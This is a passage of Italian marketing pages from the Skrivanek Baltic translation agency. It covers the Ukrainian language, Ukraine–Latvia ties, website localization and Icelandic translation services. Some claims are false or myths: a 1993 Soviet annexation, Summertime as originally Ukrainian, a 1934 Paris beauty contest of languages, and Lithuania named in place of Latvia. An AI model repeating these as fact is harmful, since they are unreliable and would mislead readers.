alcuni linguisti considerano un dialetto ucraino, il bielorusso e il russo. L’ucraino standard è regolato dall’Accademia nazionale delle scienze dell'Ucraina, in particolare dal suo istituto di lingua ucraina, dalla Fondazione per l’informazione sulla lingua ucraina, e dall’Istituto di linguistica Potebnia. Le origini della lingua ucraina risalgono all’antica lingua slava orientale, la quale era utilizzata nella Rus’ di Kiev tra il X e il XIII secolo. Nel periodo in cui l’Ucraina orientale era parte dell’impero russo, ossia dal 1804 fino alla Rivoluzione russa del 1917, l’ucraino era considerato il Piccolo dialetto del russo (малороссийское наречие русского языка) ed era quindi proibito usarlo nelle scuole. Nell’Ucraina occidentale invece, che era inizialmente parte della Confederazione polacco-lituana, per poi passare all’Impero austro-ungarico, l’ucraino, chiamato anche lingua rutena(русинська мова) non fu mai bannato. Trovò invece un ambiente favorevole per il suo sviluppo. I dialetti ucraini sono tradizionalmente divisi in tre gruppi: quello sud-occidentale (caratterizzato dall’influenza del polacco, dello slovacco e dell’ungherese), quello settentrionale (caratterizzato dall’influenza dei vicini dialetti bielorussi) e quello sud-orientale, su cui si basa la moderna lingua letteraria. Nelle regioni orientali e sudorientali dell'Ucraina, soprattutto nelle città (Zaporizhzhia, Donbas, Kryvyi Rih, Odessa), così come anche in Crimea, dal XVII e XVIII secolo esiste il cosiddetto суржик "Surzhyk" (significato originale: miscela di segale, grano e avena). Questa è una lingua colloquiale formatosi dalla combinazione meccanica della fonetica dei dialetti ucraini e da un vocabolario prevalentemente russo. Il vocabolario ucraino è composto principalmente dal lessico slavo e dal lessico comune slavo orientale. Il 90% del vocabolario ucraino è composto da lessico antico (slavo, slavo orientale, ucraino). La maggior parte dei prestiti linguistici provengono dal greco, dal latino, dal polacco e dal russo, ma si possono trovare anche prestiti da altre lingue passati attraverso il russo, come anche calchi russi, prestiti dal turco e prestiti moderni da alcune lingue europee occidentali: tedesco, inglese, francese, italiano, ma anche altre. Durante il periodo sovietico, durato settant’anni, l’ucraino era riconosciuto come lingua ufficiale locale della Repubblica socialista sovietica ucraina. Nonostante ciò, gli ucraini erano sempre in competizione con il russo e non tutte le autorità sovietiche si atteggiavano allo stesso modo nei confronti dell’ucraino, passando da incoraggiamento e tolleranza fino al rifiuto della lingua. L'ucraino è lingua ufficiale in Ucraina dal 1991 e il governo ha attuato una politica amministrativa per espanderne l'uso. Il sistema di istruzione ucraino fu riformato e, nella prima decade successiva all’indipendenza, le scuole iniziarono ad utilizzare solo l’ucraino, mentre prima era utilizzato solo in parte. Anche nei mass media e nel commercio l’uso dell’ucraino andò via via crescendo. Accadde anche che questa improvvisa modifica della lingua di studio negli istituti di studio superiore fece arrabbiare i cittadini di lingua russa Negli anni, la maggior parte della popolazione, compresi i cittadini di etnia russa, di etnia mista, nonché ucraini la cui lingua madre era il russo, iniziò ad identificarsi come cittadini ucraini. Dopo aver attraversato un lungo periodo di declino, l’uso dell’ucraino sta ora crescendo. Anche se in tutto il mondo ci sono circa cinquanta milioni di individui di etnia ucraina, di cui 37,5 milioni stanziati in Ucraina (il 77,8% della popolazione), l’ucraino è più diffuso nell’Ucraina centrale e in quella occidentale. A Kiev si parla sia russo che ucraino, il che rappresenta una grande differenza rispetto alla storia recente dato che il russo era la lingua più comune nella capitale. Probabilmente, questi cambiamenti sono dovuti a un influsso di immigrati provenienti dalle regioni dell’Ucraina occidentale, ma anche al fatto che dei cittadini di Kiev che hanno deciso di parlare nei luoghi pubblici la lingua che parlano a casa. A Kiev, pubblicità ed annunci sono in lingua ucraina. Nella maggior parte delle città del sud e dell’est dell’Ucraina, il russo rimane comunque la lingua più parlata. Il 25 aprile del 2019 la Verchovna Rada dell'Ucraina ha approvato la legge per rendere obbligatorio l’ucraino negli enti locali e statali. Questa nazione si sta quindi impegnando per diminuire l'influenza della Russia. L'obiettivo principale di questa legge è quello di garantire che l’ucraino venga utilizzato nella sfera pubblica. Le aziende dovranno fornire le informazioni relative ai loro prodotti e servizi in ucraino. Questa legge ha diviso le opinioni dei politici, i quali hanno avuto accese discussioni. Secondo la legge, le seguenti figure devono parlare ucraino fluentemente: politici, tra cui anche il presidente, il personale medico, avvocati e notai. Inoltre, l'ucraino deve essere usato praticamente ovunque: in televisione e in radio, nella stampa, negli eventi sportivi, nelle pubblicità e nelle attività dei partiti politici. Tuttavia, le restrizioni non vanno a toccare la comunicazione in ambito privato e le cerimonie religiose. Per acquisire la cittadinanza, è necessario conoscere la lingua ucraina. Nell’Ucraina occidentale, dove il russo si sente raramente, rispondere in ucraino a domande poste in russo è una pratica diffusa ormai da tanti anni e che è rimasta invariata dal 1993, quando questa regione fu annessa dall’Unione sovietica dopo l’invasione della Polonia. Sulla base di una competizione linguistica che ebbe luogo a Parigi nel 1934, l’ucraino è la terza lingua più bella in termini di fonetica, vocabolario, fraseologia e struttura della frase dopo il francese e il persiano. Inoltre, ufficialmente, tra le lingue del mondo essa è seconda solo all’italiano in termini di melodia. Non è quindi sorprendente che molti ammettano di notare somiglianze tra l’ucraino e il canto degli uccelli. Non siete ancora convinti? Allora dovete ascoltare la famosissima canzone di George Gershwins, Summertime, nella sua lingua originale, ossia... l’ucraino! Summertime si ispira infatti ad una vecchia ninna nanna ucraina: Oi Hodyt' Son Kolo Vikon. L'ucraino ha un alfabeto unico che contiene due lettere che non si trovano in nessun'altra lingua: ґ e ї. Nel Paese sono presenti sette siti dichiarati Patrimonio dell'Umanità dall'UNESCO, tra cui la Cattedrale di Santa Sofia a Kiev, l'Antica Città di Chersoneso Taurica e le Antiche faggete primordiali dei Carpazi. Parlando sia russo che ucraino, i cittadini ucraini sono bilingui. Gli ucraini sono orgogliosi della loro bella lingua, tanto è che in caso vi rivolgiate a loro in russo, con tutte le probabilità vi risponderanno in ucraino. Se siete amanti del McDonald’s, troverete sicuramente interessante il fatto che quello che si trova nella maggiore stazione ferroviaria di Kiev è il terzo più visitato al mondo. La stazione della metropolitana Arsenalnadi Kiev è famosa per essere la stazione della metropolitana più profonda del mondo (105,5 metri sottoterra). L'ALFABETO UCRAINO Per scrivere in ucraino si utilizza l'alfabeto ucraino, il quale utilizza il cirillico modificato. Esso è composto da 33 lettere che rappresentano 38 fonemi (suoni). 21 di esse rappresentano consonanti (б, в, г, ґ, д , ж, з, к, л, м, н, п, р, с, т, ф, х, ц, ч, ш, щ), 10 - vocali (а, е, є, и , і, ї, о, у, ю, я), 1 - semivocale (й). Il segno diacritico ь non rappresenta un fonema, ma indica la palatalizzazione della consonante precedente. La scrittura cirillica o alfabeto cirillico è uno dei due modi in cui viene scritto l'Antico Slavo e si è sviluppata sulla base dell’alfabeto creato dai santi Cirillo e Metodio e su quello greco bizantino. Sono sei le lingue salve che fanno uso di alfabeti basati sull’antico alfabeto cirillico, ossia bielorusso, bulgaro, russo, macedone, serbo e ucraino, come anche diverse altre lingue non slave parlate principalmente nei territori dell’ex Unione sovietica. L'alfabeto ucraino esiste nella sua forma attuale dalla fine del XIX secolo e, a differenza dell'alfabeto russo, non ha le lettere Ёё, ъ, ы, Ээ, ma contiene Ґґ, Єє, Іі e Її (nel periodo tra il 1932 e il 1990 la lettera Ґ non esisteva e l'ultima lettera dell'alfabeto era il segno diacritico). Allo stesso modo, ci sono molte parole dove è utilizzato l'apostrofo ucraino, che è un analogo dei russi Ъ e Ь, e serve a non palatalizzare la consonante precedente. Per diversi periodi storici, l’ucraino è stato scritto anche utilizzando l’alfabeto latino. Tuttavia, al momento non c’è un alfabeto latino standard o regolarizzato per scrivere in ucraino (ci sono solo norme per la traslitterazione dell’alfabeto cirillico) e, quando è utilizzato un alfabeto di questo tipo, ha un ambito di applicazione alquanto limitato (spesso e volentieri si tratta di pubblicazioni dedicate allo stesso alfabeto latino ucraino). Si è discusso sulla sua unificazione e uso in Galicia e in Bukovina tra gli anni ‘30 e ‘50 dell’ottocento, ma anche negli anni ‘20 del novecento durante la Repubblica socialista sovietica ucraina, DOVE E IN QUANTI PARLANO UCRAINO? Sono in circa 45 milioni a parlare ucraino. Essa è la lingua ufficiale dell’Ucraina, nonché una delle tre lingue ufficiali della non riconosciuta Repubblica Moldava della Transnistria. Inoltre, all’ucraino è riconosciuto lo status di lingua di minoranza o regionale in Moldova, Romania, Serbia, Slovacchia, Croazia e in Bosnia ed Erzegovina. Ad esso sono inoltre riconosciute alcune funzioni ufficiali a livello regionale negli Stati uniti e in Polonia. La diaspora ucraina è la terza maggiore comunità ucraina del mondo dopo quella in Ucraina e in Russia, nonché il quinto gruppo etnico in Canada, dove più di un milione di persone si identifica come appartenente all’etnia ucraina. Durante le prime due ondate migratorie, gli immigrati parlavano nei dialetti ucraini occidentali. Tuttavia, a causa della distanza e dell’influenza dell’inglese, nel corso degli anni l’ucraino canadese prese la propria strada e si distaccò da essi. Il numero di ucraini in Canada è attualmente in calo, ma in questo paese ci sono scuole ucraine e le università offrono opportunità di studiare questa lingua. L'Istituto canadese per gli studi ucraini (Канадський iнститут українських студiй), fondato nel 1976, si occupa della pubblicazione della letteratura scientifica e gestisce progetti nel campo degli studi di lingua ucraina, come ad esempio il Journal of Ukrainian Studies o l'Encyclopedia of Ukraine (Енциклопедія українознавства). Con 1,2 milioni di persone, in Polonia si trova la seconda maggiore diaspora ucraina, seguita dagli Stati uniti con un milione e da Brasile, Argentina, Moldova, Kazakistan, Bielorussia, Germania, Repubblica ceca, Romania, Portogallo e Lettonia. QUANTO È DIFFICILE LA LINGUA UCRAINA? Solitamente, la parte più difficile del processo di apprendimento di una lingua è imparare il vocabolario. Ciò è dovuto al fatto che la sua memorizzazione richiede ripetizione e un uso frequente; l’ucraino non fa eccezione. Uno dei motivi principali per imparare l’ucraino è che vi permetterà di avvicinarvi alla cultura ucraina e di parlare al cuore di questo popolo, non soltanto alla loro mente. Di fatti, fin dai tempi antichi, la lingua è stata per loro importante e significativa. Se si è motivati ad imparare l’ucraino, ma non si hanno esperienze precedenti nell’apprendimento delle lingue, studiando almeno un’ora al giorno ci vorranno circa 3,5/4 anni per poter raggiungere un livello di competenza della lingua medio. Anche la pronuncia dell’ucraino rappresenta una sfida per la maggior parte degli individui che parlano una lingua europea. Di fatti, la maggior parte delle consonanti possono essere palatalizzate o non palatalizzate, cosa che bisognerebbe essere in grado di riconoscere. Inoltre, molti suoni non esistono in altre lingue, come anche alcune combinazioni di lettere (in particolare le combinazioni di consonanti) potrebbero essere difficili da pronunciare. Infine, per scrivere in ucraino si usa il cirillico. Questa è forse una delle sfide maggiori quando si sta imparando a scrivere in questa lingua. Il Foreign Service Institute degli Stati Uniti classifica l'ucraino come una lingua difficile che richiede 1100 ore di studio (in situazioni ottimali); il doppio del tempo necessario per imparare l’olandese, ma la metà delle ore necessarie ad apprendere il cinese. Gli studi nelle università ucraine sono considerati di alto livello e lo stato è abbastanza accogliente verso gli studenti stranieri. Di fatti, le università offrono decine di corsi e borse di studio per potenziali studenti internazionali. Sono soprattutto gli studenti provenienti da paesi africani e asiatici, come ad esempio da Libia, Bangladesh, India, Cina, Nigeria, Egitto, Giordania, ecc. , a venire a studiare in Ucraina. Essi si spostano in questa nazione principalmente per studiare medicina ed ingegneria e sono attratti dalla varietà dell’offerta formativa e dal basso costo dell’istruzione, Sono quattro le lingue di istruzione offerte dagli istituti: Ucraino, russo, inglese e francese (per i corsi di studio in medicina). Essendo molto simili, una volta imparato l’ucraino sarà possibile capire il polacco, il ceco, il bielorusso e altre lingue slave. I NOSTRI TRADUTTORI E INTERPRETI DI UCRAINO L'agenzia di traduzione Skrivanek Baltic fornisce i servizi di traduzione scritta e di interpretazione migliori per le richieste del cliente. Ci occupiamo di traduzioni sia normali che autenticate. Tra i nostri servizi figurano anche la correzione di bozze e il miglioramento stilistico dei testi in ucraino. Se richiesti, eseguiamo anche revisioni e controlli terminologici. Garantiamo testi efficaci e stilisticamente appropriati, tenendo conto del contesto culturale sia della lingua che della nazione. Per le aziende nostre clienti ci occupiamo spesso di traduzioni da e verso l’ucraino delle seguenti tipologie testuali: contenuti SEO, contenuti per l’e-commerce e per i siti web, slogan pubblicitari, materiale di marketing e etichette di prodotti in conformità agli standard UE. Per i privati, eseguiamo traduzioni di documenti di riconoscimento, certificati di matrimonio, certificati di nascita, documenti relativi all’istruzione o alla formazione, passaporti, documentazione medica, ecc. È possibile autenticare le traduzioni. L’UCRAINO NEL COMMERCIO Il 16 luglio 2019 è stata approvata la legge per garantire l’uso della lingua ucraina come lingua di stato. Essa prevede che tutti gli imprenditori stranieri che vogliono espandere la loro attività nei territori ucraini devono assicurarsi di avere disponibili documenti legali, informazioni relative ai prodotti, sito web ed altri documenti legati alla loro attività in lingua ucraina. Solitamente, gli imprenditori ucraini parlano russo, polacco e inglese fluentemente, quindi è possibile organizzare incontri di lavoro in queste lingue. Tuttavia, sarà sicuramente apprezzata la conoscenza di almeno qualche frase di cortesia in ucraino da parte del partner commerciale. COOPERAZIONE TRA LETTONIA E UCRAINA Dopo la Seconda guerra mondiale, quando migliaia di ucraini furono mandati a lavorare nella Repubblica socialista sovietica lettone, la presenza ucraina in Lettonia aumentò rapidamente e oggi è considerata una minoranza etnica formatosi mediante un flusso migratorio recente. Tuttavia, in seguito all’indipendenza della Lettonia, il numero di ucraini si è quasi dimezzato. Nel 1897 erano migliaia i soldati e studenti dell’Istituto politecnico di Riga ucraini a vivere in Lettonia, mentre il resto di loro si sono trasferiti in questo paese nel periodo sovietico. Al giorno d’oggi sono circa 62. 000 gli ucraini stanziati in Lettonia. È la minoranza etnica più giovane in termini di età. A livello di istruzione, gli ucraini sono i secondi del paese (dopo gli ebrei); creano famiglie forti e sono in grado di adattarsi a nuovi contesti sociali con facilità. Di fatti, tra le minoranze etniche, quella ucraina è quella con il tasso di disoccupazione minore. Questo popolo è caratterizzato da lealtà verso le autorità, cordialità, senso di responsabilità e disciplina. Queste dati si basano su una ricerca condotta dal Днiпро, Società ucraina di cultura e istruzione, nell'ambito della conferenza dedicata agli Ucraini in Lettonia, con il finanziamento della Fondazione lettone per l'integrazione nella società. Hanno partecipato all’indagine 452 rappresentanti della minoranza ucraina provenienti da Rīga, Ventspils, Liepāja, Rēzekne, Tukums e dal distretto di Rīga. La maggior parte della comunità ucraina vive a Riga, dove si trova un liceo ucraino i cui diplomati sono fluenti in ucraino e lettone. Gli ucraini della Lettonia sono la seconda maggiore comunità dopo quella ebraica, ma il loro grado di naturalizzazione è minore. Di fatti, la maggior parte degli ucraini lettoni vive in famiglie miste ucraine e russe. L'interesse per la cultura ucraina-lettone è promosso dalle organizzazioni pubbliche dell'Unione ucraina-lettone e dalla società culturale Днiпро (dal nome del più grande fiume dell'Ucraina). Anche il coro dei bambini ucraini è chiamato Днiпро. Centri culturali ucraini si trovano a Ventspils, Rēzekne, Liepāja, Daugavpils e Vangaži. Rispetto alle altre minoranze etniche presenti in Lettonia, gli ucraini hanno il livello di naturalizzazione più basso. Nonostante il fatto che i sondaggi suggeriscano che la metà degli ucraini supporta l’integrazione, per la maggior parte di questa comunità essa non è ancora neanche iniziata. Le strutture per l’integrazione non vanno infatti incontro alle necessità e agli interessi di questa minoranza etnica. Questa comunità occupa un posto speciale nella società multinazionale lettone. Essa si formò dopo la Seconda guerra mondiale, durante il processo di sovietizzazione dei paesi baltici. Può essere quindi considerata una minoranza formatasi mediante migrazione, a differenza di altre minoranze etniche che sono storicamente presenti in Lettonia, come i bielorussi, i polacchi, i tedeschi e gli ebrei. La minoranza etnica ucraina si sta integrando molto lentamente. Ne è prova il livello di naturalizzazione, il quale è il più basso tra le minoranze in Lettonia. La maggior parte degli ucraini considera la conoscenza della lingua ufficiale come il requisito più importante per integrarsi. Anche se dal 1993 la conoscenza del lettone all’interno di questa comunità è aumentata in modo significativo, solo l’11% lo parla fluentemente. Le lezioni di lettone gratuite organizzate dalle associazioni ucraine di cultura e istruzione potrebbero essere impiegate come metodo efficace per provare a mettere in contatto un ambiente madrelingua con la cultura ucraina. Data la recente situazione politica in Ucraina, la Lituania è stata di grande aiuto al paese e ai suoi cittadini. Con l'aiuto del Ministero della Difesa e di Elmārs Pļaviņš, cappellano capo delle Forze armate nazionali lettoni, dal 2014 la Lettonia ha trasportato più di 400 tonnellate di aiuti umanitari ai cittadini delle regioni di Donetsk e Luhansk. Al 18 gennaio 2021 erano già state consegnate 21 spedizioni di aiuti umanitari. Il 20 gennaio 2021, le Forze armate nazionali lettoni hanno consegnato 7 veicoli alle Forze armate ucraine per migliorare le capacità mediche militari. Dal 2014, sono 75 le vittime del conflitto in Ucraina (soldati ucraini, prigionieri politici liberati dalla Russia e i membri delle loro famiglie) che sono state accolte in Lettonia nell’ambito del programma di supporto statale. Essi hanno ricevuto supporto medico e riabilitazione fisica e psicologica per un valore di 181. 000 euro. I due paesi cooperano fruttuosamente anche nel campo dell’istruzione. Sono 65 gli studenti ucraini che nel 2020 hanno preso parte in via telematica al corso di laurea in Studi europei - Politica interna ed estera offerto dall’Università della Lettonia per giovani professionisti, con il fine di potenziare le capacità manageriali. Sono più di 150 gli studenti ucraini che si sono laureati in questo corso dal 2015. Nel 2020, gli studi sono proseguiti nell'ambito del programma intensivo online in diritto ed economia europea presso la Riga Graduate School of Law. Sette studenti ucraini si sono diplomati nel 2020. In totale, sono 54 i professionisti ucraini che si sono laureati presso la Graduate School of Law di Riga dal 2014. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO L’UCRAINO: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Dal lettone all'ucraino; dall'estone all'ucraino; dal lituano all'ucraino; dall'ucraino al lituano; dal russo all'ucraino; dall'ucraino al russo; dal ceco all'ucraino; dall'ucraino al ceco; dal polacco all'ucraino; dall'ucraino al polacco; dall'ucraino all'ucraino; dall'ucraino allo spagnolo; dallo spagnolo all'ucraino; dal tedesco all’ucraino; dall’ucraino al tedesco; dall’italiano all’ucraino; dall’ucraino all’italiano; dal francese all’ucraino; dall’ucraino al francese; dal danese all’ucraino; dall’ucraino al danese; dal norvegese all’ucraino; dall’ucraino al norvegese; dallo svedese all’ucraino; dall’ucraino allo svedese; dal finlandese all’ucraino; dall’ucraino al finlandese, dall’inglese all’ucraino; dall’ucraino all’inglese, ma anche altre combinazioni. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO L’UCRAINO: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Dal lettone all'ucraino; dall'estone all'ucraino; dal lituano all'ucraino; dall'ucraino al lituano; dal russo all'ucraino; dall'ucraino al russo; dal ceco all'ucraino; dall'ucraino al ceco; dal polacco all'ucraino; dall'ucraino al polacco; dall'ucraino all'ucraino; dall'ucraino allo spagnolo; dallo spagnolo all'ucraino; dal tedesco all’ucraino; dall’ucraino al tedesco; dall’italiano all’ucraino; dall’ucraino all’italiano; dal francese all’ucraino; dall’ucraino al francese; dal danese all’ucraino; dall’ucraino al danese; dal norvegese all’ucraino; dall’ucraino al norvegese; dallo svedese all’ucraino; dall’ucraino allo svedese; dal finlandese all’ucraino; dall’ucraino al finlandese, dall’inglese all’ucraino; dall’ucraino all’inglese, ma anche altre combinazioni. --- > Forniamo servizi di localizzazione di alta qualità per garantire che il vostro sito web soddisfi i bisogni e le caratteristiche della regione o del mercato di riferimento. - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/majas-lapas-tulkosana/ - Translation Priorities: Optional Al giorno d’oggi, il sito web è il principale biglietto da visita dell’azienda: l’interesse e la fiducia nella qualità del prodotto o servizio offerto dipende molto anche da quanto esso è professionale, convincente, interessante e facile da usare. Inoltre, potenziali ed attuali clienti e partner commerciali possono consultarlo gratuitamente. Qual’è quindi una delle più importanti condizioni di base affinché un sito web attragga sempre più clienti, non solo provenienti dal mercato locale, ma anche da quello estero? In questo contesto, gioca sicuramente un ruolo importante una sua versione in una lingua comprensibile ai visitatori. Di fatti, al giorno d’oggi la traduzione e la localizzazione di un sito web è assolutamente necessaria. Nell’ambiente digitale, un sito web ben strutturato e intelligentemente pubblicizzato aumenta in modo significativo le vendite dell’azienda sia all’estero che non ed aiuta anche a conquistare nuovi mercati dove sarà possibile vendere i propri beni e servizi. Pertanto, è molto importante analizzare e pensare costantemente come i vostri potenziali ed attuali clienti e partner commerciali possano venire a conoscenza delle informazioni aggiornate relative alla vostra azienda, ai beni e servizi che vendete, alle ultime offerte, ma anche relative ai progetti e ai piani di sviluppo. Ora starete pensando che coloro che visitano il vostro sito web possono tradurselo da soli usando Google traduttore. Tuttavia, diversi studi sul comportamento degli utenti di internet hanno dimostrato il contrario: gli acquirenti non si fidano di siti web in una lingua che non comprendono, poiché ciò li porta a mettere in discussione l’affidabilità del prodotto e la sicurezza dell’acquisto. Ad esempio, le indagini condotte dalla Commissione europea mostrano che il 90% degli utenti di Internet preferisce visualizzare i siti web nella loro lingua madre o in una lingua che conosce. Il 44% crede invece che, nel caso in cui il sito web non sia disponibile in una lingua che comprende, si potrebbe perdere delle informazioni importanti riguardanti il prodotto. Solo il 52% dei siti web di tutto internet sono disponibili unicamente in lingua inglese e, sebbene essa sia la lingua più parlata la mondo, molte aziende potrebbero perdere clienti nel caso in cui non traducano e localizzino i loro siti web nelle maggiori lingue della loro area di riferimento o del mondo. Infine, gli utenti passano molto più tempo su siti web con contenuti nella loro lingua madre e che sono facili e veloci da comprendere. Tuttavia, è anche possibile attivare la traduzione in tempo reale del sito web svolta da un traduttore automatico. Questa è una tecnologia alquanto consolidata che anche Google fornisce. Lo sanno anche i bambini: cliccando con il tasto destro su un sito web è possibile tradurne il contenuto in una qualsiasi lingua utilizzando Google traduttore. Ma tutto ciò va subordinato ad un’altra questione più importante: perché è necessaria la traduzione e che cosa si vuole ottenere? Le traduzioni di siti web in tempo reale hanno infatti un impatto ridotto se non nullo sulle lingue in cui il sito web è disponibile. Effettivamente, questa tecnologia non farà comparire il vostro sito web nelle ricerche Google che un vostro potenziale cliente potrebbe effettuare. I siti web tradotti in questo modo non contengono una traduzione statica nella lingua scelta, non comprendono parole chiave SEO e altri parametri utilizzati da Google e, di conseguenza, non sono indicizzati Pertanto, è sbagliato pensare che tale funzionalità faccia aumentare gli utenti che raggiunti dal proprio sito. È importante notare che gli utenti di internet solitamente cercano le informazioni di cui hanno bisogno nella loro lingua madre; provate a vedere la frequenza con cui fate ricerche con parole chiave in lingue diverse dalla vostra lingua madre, o in motori di ricerca che non sono Google. La conclusione è abbastanza semplice: per avere successo nei mercati esteri, è molto importante affidare a dei professionisti la cura della presentazione in una lingua straniera delle attività di cui la vostra azienda si occupa. CHE COS'È LA LOCALIZZAZIONE DI UN SITO WEB? Un servizio di traduzione e localizzazione di un sito web è un processo creativo e completo durante il quale un testo relativo ad un prodotto o ad un servizio viene adattato al mercato di una nazione o regione specifica, tenendo in considerazione le caratteristiche culturali del pubblico di riferimento. La localizzazione permette di creare un dialogo con consumatori di altri paesi in una forma e modalità a cui essi sono abituati. Essa aiuta ad abbattere barriere culturali e di altro tipo, a rivolgersi con successo al pubblico di una data nazione e adatta il prodotto, il servizio o il messaggio al mercato che si vuole raggiungere. Per adattare e localizzare i contenuti di una pagina web è quindi necessaria un’approfondita conoscenza dello specifico settore, nonché del contesto culturale a cui appartengono gli utenti che parlano la lingua scelta. I traduttori professionisti e gli specialisti di localizzazione di contenuti si occupano spesso anche di dare consigli e di aiutare a valutare quanto il testo preparato possa essere adatto al pubblico di riferimento, ossia se è adeguato da un punto di vista contenutistico, se trasmette correttamente il messaggio principale, se è comprensibile e se evoca o meno associazioni negative o ambigue. Quando si localizza un sito web, sono cinque gli elementi che sono considerati in via prioritaria: lingua e regione ─ il vocabolario, i termini e i concetti sono scelti in modo tale da trasmettere il messaggio del prodotto ad un potenziale cliente locale in modo accurato ed autentico; elementi culturali ─ il corretto uso del formato di data e ora, delle unità di misura e delle abbreviazioni; il rispetto delle tradizioni, dei giorni di vacanze e delle festività; il corretto uso dei colori di sfondo, ecc. ; elementi che confermano la transazione ─ viene utilizzata la valuta del paese di riferimento, sono offerte opzioni di pagamento disponibili nel luogo di riferimento, gli indirizzi sono inseriti secondo le regole della regione locale; comunicazione e fiducia ─ numeri di telefono locali, assistenza ai clienti nella loro lingua madre, rispetto di specifici requisiti legislativi locali che tutelano i diritti dei consumatori; navigazione e ricerca di informazioni ─ ultimo ma non per importanza è il fatto che i visitatori del sito web possano trovare l’informazione che cercano nella loro lingua madre e che lo possano fare in modo facile e e veloce. Qualità e riservatezza garantite dai certificati ISO I nostri project manager parlano lettone, russo, inglese, tedesco e polacco. Il 99% dei clienti riceve un'offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole. AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  Se desiderate saperne di più sulla traduzione e localizzazione di siti web, vi invitiamo a visitarci nella nostra agenzia o a scrivere al team di Skrivanek Baltic che si occupa dei progetti di localizzazione. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia OPERIAMO NEL MERCATO DA OLTRE 25 ANNI! Abbiamo una grande esperienza nella traduzione di testi di diversi argomenti. 0+ Diverse combinazioni linguistiche 0+ milioni Parole tradotte nel 2023 0+ Specialisti della lingua 0 Certificati ISO --- > Traduzioni generali e specialistiche in lingua islandese. Interpretazione e altri servizi linguistici in lingua islandese. Contattateci! - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-islandiesu-valoda/ - Translation Priorities: Optional TRADUZIONI DA E VERSO L’ISLANDESE QUANTO COSTANO LE TRADUZIONI DA E VERSO L’ISLANDESE? Il prezzo dei servizi di traduzione da e verso l’islandese è calcolato singolarmente per ogni ordine e tiene conto delle sue caratteristiche specifiche. Ad esempio, prendendo il caso dell’interpretazione consecutiva e simultanea, il costo si basa sulla durata del servizio, sul luogo dell’evento e sulle spese di viaggio. Per i servizi di interpretazione simultanea, ci sono delle spese aggiuntive dovute al supporto tecnico, le quali dipendono dal numero di partecipanti all’evento, ecc. Per quanto riguarda le traduzioni scritte invece, per decidere il prezzo sono considerati il volume e la leggibilità del materiale da tradurre, il termine di consegna del lavoro, la complessità della terminologia, le ripetizioni all’interno del testo, la formattazione e la complessità di immagini e grafiche, la revisione, come anche altri servizi richiesti dal cliente. È DISPONIBILE IL LISTINO PREZZI? Naturalmente. Il listino prezzi dei servizi di traduzione scritta e di interpretazione (sia simultanea che consecutiva), di localizzazione e di adattamento da e verso l’islandese è parte integrante dei contratti che stipuliamo con i nostri clienti. Prima dell’inizio di ogni progetto di traduzione, i project manager di Skrivanek preparano le informazioni riguardanti il costo del lavoro in modo dettagliato. Il preventivo è pronto in circa 30 minuti. Per quanto riguarda le traduzioni scritte, parametri come il numero di parole e di ripetizioni, nonché la complessità dell’elemento grafico ed altri parametri concorrono alla definizione del prezzo. Volete sapere quanto costa tradurre i vostri documenti? Mandateci un’e-mail con il materiale da tradurre! Avete bisogno di un servizio di traduzione da/verso l’islandese? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! Forniamo i seguenti servizi in lingua islandese: Traduzione di documenti in islandese Interpretazione simultanea in islandese Validazione linguistica di traduzioni in islandese Interpretazione consecutiva in islandese Trascrizione in islandese Grafica e composizione tipografica in islandese Servizi di voice over e di sottotitolaggio in islandese Servizi di selezione di staff islandese Marketing multiculturale in islandese Gestione di documenti in islandese Servizi di deposizione in islandese Servizi di data room virtuali in islandese Supporto per l'e-learning in islandese Cercate un servizio linguistico in islandese? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome 